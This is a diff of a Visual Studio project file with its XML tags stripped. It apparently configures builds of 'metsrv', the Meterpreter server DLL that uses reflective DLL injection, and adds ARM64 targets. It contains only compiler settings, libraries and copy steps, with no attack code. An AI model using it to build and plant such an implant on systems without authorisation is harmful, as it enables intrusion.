%(AdditionalOptions) - - - No - - - true - $(OutDir)\metsrv.bsc - - - editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL -IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName).debug$(TargetExt)" - - - - - NDEBUG;%(PreprocessorDefinitions) - true - true - X64 - $(OutDir)\metsrv.tlb - - - - - MinSpace - OnlyExplicitInline - Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - false - NotUsing - metsrv.h - $(OutDir)\metsrv.pch - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - true - ProgramDatabase - false - true - true - true - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) - true - ..\common\$(Configuration);%(AdditionalLibraryDirectories) - $(ProjectDir)..\..\source\def\$(ProjectName).def - false - false - - - false - - - - - MachineX64 - - - Windows - /ignore:4070 %(AdditionalOptions) - - No - - - true - $(OutDir)\metsrv.bsc - - - editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL -IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - true - true - true - - - true - true - true - - - - - - - + + + + + Debug + Win32 + + + Debug + x64 + + + Debug + ARM64 + + + r7_release + Win32 + + + r7_release + x64 + + + r7_release + ARM64 + + + Release + Win32 + + + Release + x64 + + + Release + ARM64 + + + + {37E24F8F-1BD9-490B-8CD2-4768B89E5EAB} + metsrv + + + + DynamicLibrary + false + Unicode + v141_xp + + + DynamicLibrary + false + Unicode + v141_xp + + + DynamicLibrary + false + Unicode + v141_xp + + + DynamicLibrary + false + Unicode + v141_xp + + + DynamicLibrary + false + Unicode + v141_xp + + + DynamicLibrary + false + Unicode + v141_xp + + + DynamicLibrary + false + Unicode + v143 + + + DynamicLibrary + false + Unicode + v143 + + + DynamicLibrary + false + Unicode + v143 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + .\$(Configuration)\$(Platform)\ + .\$(Configuration)\$(Platform)\ + false + false + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + + NDEBUG;%(PreprocessorDefinitions) + true + true + Win32 + $(OutDir)\metsrv.tlb + + + + + MinSpace + OnlyExplicitInline + Size + ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + false + MultiThreaded + false + NotUsing + metsrv.h + $(OutDir)\metsrv.pch + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + true + ProgramDatabase + false + true + true + true + + + NDEBUG;%(PreprocessorDefinitions) + 0x0409 + + + ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) + true + ..\common\$(Configuration);%(AdditionalLibraryDirectories) + $(ProjectDir)..\..\source\def\$(ProjectName).def + + + false + false + + + false + + + + + MachineX86 + + + Windows + /ignore:4070 %(AdditionalOptions) + + No + + + true + $(OutDir)\metsrv.bsc + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + + + + + NDEBUG;%(PreprocessorDefinitions) + true + true + Win32 + $(OutDir)\metsrv.tlb + + + + + MinSpace + OnlyExplicitInline + Size + ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) + DEBUGTRACE;WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + false + MultiThreaded + false + NotUsing + metsrv.h + $(OutDir)\metsrv.pch + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + true + ProgramDatabase + false + true + true + true + false + + + NDEBUG;%(PreprocessorDefinitions) + 0x0409 + + + ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) + true + ..\common\$(Configuration);%(AdditionalLibraryDirectories) + $(ProjectDir)..\..\source\def\$(ProjectName).def + + + false + false + + + false + + + + + MachineX86 + + + Windows + /ignore:4070 %(AdditionalOptions) + + + No + + + true + $(OutDir)\metsrv.bsc + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName).debug$(TargetExt)" + + + + + NDEBUG;%(PreprocessorDefinitions) + true + true + Win32 + $(OutDir)\metsrv.tlb + + + + + MinSpace + OnlyExplicitInline + Size + ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + false + MultiThreaded + false + NotUsing + metsrv.h + $(OutDir)\metsrv.pch + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + true + ProgramDatabase + false + true + true + true + + + NDEBUG;%(PreprocessorDefinitions) + 0x0409 + + + ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) + true + ..\common\$(Configuration);%(AdditionalLibraryDirectories) + $(ProjectDir)..\..\source\def\$(ProjectName).def + + + false + false + + + false + + + + + MachineX86 + + + Windows + /ignore:4070 %(AdditionalOptions) + + No + + + true + $(OutDir)\metsrv.bsc + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + + + + + NDEBUG;%(PreprocessorDefinitions) + true + true + X64 + $(OutDir)\metsrv.tlb + + + + + Custom + OnlyExplicitInline + Size + ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + false + NotUsing + metsrv.h + $(OutDir)\metsrv.pch + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + true + ProgramDatabase + false + true + true + true + true + + + NDEBUG;%(PreprocessorDefinitions) + 0x0409 + + + ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) + true + ..\common\$(Configuration);%(AdditionalLibraryDirectories) + $(ProjectDir)..\..\source\def\$(ProjectName).def + false + false + + + false + + + + + MachineX64 + + + Windows + /ignore:4070 %(AdditionalOptions) + + No + + + true + $(OutDir)\metsrv.bsc + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL +IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + + + + + NDEBUG;%(PreprocessorDefinitions) + true + true + X64 + $(OutDir)\metsrv.tlb + + + + + MinSpace + OnlyExplicitInline + Size + ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) + DEBUGTRACE;WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + false + NotUsing + metsrv.h + $(OutDir)\metsrv.pch + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + true + ProgramDatabase + false + true + true + true + + + NDEBUG;%(PreprocessorDefinitions) + 0x0409 + + + ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) + true + ..\common\$(Configuration);%(AdditionalLibraryDirectories) + $(ProjectDir)..\..\source\def\$(ProjectName).def + false + false + + + false + + + + + MachineX64 + + + Windows + /ignore:4070 %(AdditionalOptions) + + + No + + + true + $(OutDir)\metsrv.bsc + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL +IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName).debug$(TargetExt)" + + + + + NDEBUG;%(PreprocessorDefinitions) + true + true + X64 + $(OutDir)\metsrv.tlb + + + + + MinSpace + OnlyExplicitInline + Size + ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + false + NotUsing + metsrv.h + $(OutDir)\metsrv.pch + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + true + ProgramDatabase + false + true + true + true + + + NDEBUG;%(PreprocessorDefinitions) + 0x0409 + + + ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) + true + ..\common\$(Configuration);%(AdditionalLibraryDirectories) + $(ProjectDir)..\..\source\def\$(ProjectName).def + false + false + + + false + + + + + MachineX64 + + + Windows + /ignore:4070 %(AdditionalOptions) + + No + + + true + $(OutDir)\metsrv.bsc + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL +IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + + + + + + MinSpace + OnlyExplicitInline + Size + ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + MultiThreaded + NotUsing + Level3 + ProgramDatabase + false + true + true + true + + + ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) + ..\common\$(Configuration);%(AdditionalLibraryDirectories) + $(ProjectDir)..\..\source\def\$(ProjectName).def + false + true + MachineARM64 + Windows + + + + IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + + + + + MinSpace + OnlyExplicitInline + Size + ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) + DEBUGTRACE;WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + MultiThreaded + NotUsing + Level3 + ProgramDatabase + false + true + true + true + + + ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) + ..\common\$(Configuration);%(AdditionalLibraryDirectories) + $(ProjectDir)..\..\source\def\$(ProjectName).def + false + true + MachineARM64 + Windows + + + + IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName).debug$(TargetExt)" + + + + + MinSpace + OnlyExplicitInline + Size + ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + MultiThreaded + NotUsing + Level3 + ProgramDatabase + false + true + true + true + + + ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) + ..\common\$(Configuration);%(AdditionalLibraryDirectories) + $(ProjectDir)..\..\source\def\$(ProjectName).def + false + true + MachineARM64 + Windows + + + + IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + true + true + true + true + true + true + + + true + true + true + true + true + true + + + + + + +